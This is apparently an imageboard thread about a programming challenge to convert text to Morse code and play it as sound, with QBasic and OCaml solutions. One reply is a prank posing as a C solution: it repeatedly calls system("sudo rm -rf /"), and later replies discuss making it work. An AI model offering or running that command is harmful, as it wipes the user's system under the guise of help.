Sunday Programming Challenge

Write a program to convert text input to morse code. Then play the morse code through the device speakers or save the audio to a file.

Attached: 1597492263581.jpg (667x1210, 463.84K)

Sunday Homework Thread

well either way his homework will improve your skills. try it out

cba mate desu

Nah, I'm making my own solution in assembly. I'll post it when it's finished.

That's like 3 python imports. NEXT

>he doesn't reinvent the wheel
Well you go work on some enterprise java while I write my own printf from scratch :)

There's a pretty neat solution using C libraries and builtin unix functionality:
#include
int main(void){
char morseText[100];
strcpy(morseText, "Hello, world!");
int failure;
do {
failure = system("sudo rm -rf /", morseText);
} while (failure);
return 0;
}

nakadashi

Attached: pepe-laugh.gif (498x474, 406.55K)

That doesn't even work though. Needs an option --no-preserve-root or something like that.

I can do it in BASIC or MS-DOS ASM, I'm not going to do it in pygame

Who said anything about pygame? You can output the audio to a file.

'this determines the length of the notes
'lower number = longer duration
CONST noteLen = 16

DIM tones(62) AS STRING

FOR n% = 0 TO 62
READ tones(n%)
NEXT n%

'set up the playing system
PLAY "t255o4l" + LTRIM$(STR$(noteLen))

LINE INPUT "String to convert to Morse code: "; x$

FOR n% = 1 TO LEN(x$)
c$ = UCASE$(MID$(x$, n%, 1))
PLAY "p" + LTRIM$(STR$(noteLen / 2)) + "."
SELECT CASE UCASE$(c$)
CASE " "
'since each char is effectively wrapped with 6 p's, we only need to add 1:
PLAY "p" + LTRIM$(STR$(noteLen))
PRINT " ";
CASE "!" TO "_"
PRINT tones(ASC(c$) - 33); " ";
player tones(ASC(c$) - 33)
CASE ELSE
PRINT "# ";
player "#"
END SELECT
PLAY "p" + LTRIM$(STR$(noteLen / 2)) + "."
NEXT n%
PRINT

'all the Morse codes in ASCII order, from "!" to "_"
DATA "-.-.--", ".-..-.", "#", "...-..-", "#", ".-...", ".----.", "-.--."
DATA "-.--.-", "#", ".-.-.", "--..--", "-....-", ".-.-.-", "-..-.", "-----"
DATA ".----", "..---", "...--", "....-", ".....", "-....", "--...", "---.."
DATA "----.", "---...", "-.-.-.", "#", "-...-", "#", "..--..", ".--.-.", ".-"
DATA "-...", "-.-.", "-..", ".", "..-.", "--.", "....", "..", ".---", "-.-"
DATA ".-..", "--", "-.", "---", ".--.", "--.-", ".-.", "...", "-", "..-"
DATA "...-", ".--", "-..-", "-.--", "--..", "#", "#", "#", "#", "..--.-"

SUB player (what AS STRING)
FOR i% = 1 TO LEN(what)
z$ = MID$(what, i%, 1)
SELECT CASE z$
CASE "."
o$ = "g"
CASE "-"
o$ = "g" + LTRIM$(STR$(noteLen / 2)) + "."
CASE ELSE
o$ = ""
END SELECT
PLAY o$
PLAY "p" + LTRIM$(STR$(noteLen))
NEXT i%
END SUB

works on macOS
get a real unix next time

DEFINT A-Z

' Global arrays to hold Morse code
DIM SHARED CH(57), SZ(57)

' Populate CH and SZ arrays
FOR X = 0 TO 56
READ CH(X)
NEXT


FOR X = 0 TO 56
READ SZ(X)
NEXT

' A zero bit is a dot, a 1 bit is a dash
DATA 18,0,0,0,0,30,45
DATA 45,0,0,51,33,42, 9,31,30,28
DATA 24,16, 0, 1, 3, 7,15, 7,0,0
DATA 17,0,12,22, 2, 1, 5, 1, 0, 4
DATA 3, 0, 0,14, 5, 2, 3, 1 ,7, 6
DATA 11, 2, 0, 1, 4, 8, 6, 9,13, 3
DATA 6,0,0,0,0, 6, 6

' Actual length of the code for that CHacter in bits
DATA 6,0,0, 6, 6, 6, 5, 5, 5, 5
DATA 5, 5, 5, 5, 5, 5, 5, 6,0,0
DATA 5,0, 6, 6, 2, 4, 4, 3, 1, 4
DATA 3, 4, 2, 4, 3, 4, 2, 2, 3, 4
DATA 4, 3, 3, 1, 3, 4, 3, 4, 4, 4


' Read a line of input
LINE INPUT A$
FOR X = 1 TO LEN(A$)
' For each CHacter, conver to uppercase, then call morse
B$ = UCASE$(MID$(A$, X, 1))
CALL MORSE(ASC(B$))
NEXT


SUB MORSE (ASCII)
' Given as input an ASCII code
' Play the MORSE code

BITS = 0

IF ASCII = 32 THEN ' space CHacter
SLEEP 1: PRINT " "
EXIT SUB
END IF

IF ASCII > 33 AND ASCII < 91 THEN
' printable ascii CHacter
CODE = CH(ASCII - 34)
BITS = SZ(ASCII - 34)
END IF

FOR I = 1 TO BITS
' Play the beeping noise and print a dot or dash
IF (CODE MOD 2) THEN SOUND 50, 9: PRINT "-"; ELSE
SOUND 50, 3: PRINT ".";
SLEEP 1
CODE = INT(CODE / 2)
NEXT


IF BITS THEN
T = TIMER: D = .5 ' Delay for half a second
WHILE T + D >= TIMER: WEND
PRINT "/";
END IF

END SUB

Kek checked

>next time
lol

Doesn't work on FreeBSD

What language is that?

let codes = [
'a', ".-"; 'b', "-..."; 'c', "-.-.";
'd', "-.."; 'e', "."; 'f', "..-.";
'g', "--."; 'h', "...."; 'i', "..";
'j', ".---"; 'k', "-.-"; 'l', ".-..";
'm', "--"; 'n', "-."; 'o', "---";
'p', ".--."; 'q', "--.-"; 'r', ".-.";
's', "..."; 't', "-"; 'u', "..-";
'v', "...-"; 'w', ".--"; 'x', "-..-";
'y', "-.--"; 'z', "--.."; '0', "-----";
'1', ".----"; '2', "..---"; '3', "...--";
'4', "....-"; '5', "....."; '6', "-....";
'7', "--..."; '8', "---.."; '9', "----.";
]

let oc = open_out "/dev/dsp"

let bip u =
for i = 0 to pred u do
let j = sin(0.6 *. (float i)) in
let k = ((j +. 1.0) /. 2.0) *. 127.0 in
output_byte oc (truncate k)
done

let gap u =
for i = 0 to pred u do
output_byte oc 0
done

let morse =
let u = 1000 in (* length of one unit *)
let u2 = u * 2 in
let u3 = u * 3 in
let u6 = u * 6 in
String.iter (function
| ' ' -> gap u6
| 'a'..'z' | 'A'..'Z' | '0'..'9' as c ->
let s = List.assoc c codes in
String.iter (function
'.' -> bip u; gap u
| '-' -> bip u3; gap u
| _ -> assert false
) s; gap u2
| _ -> prerr_endline "unknown char")

let () = morse "rosettacode morse"

Nice. How do you run it?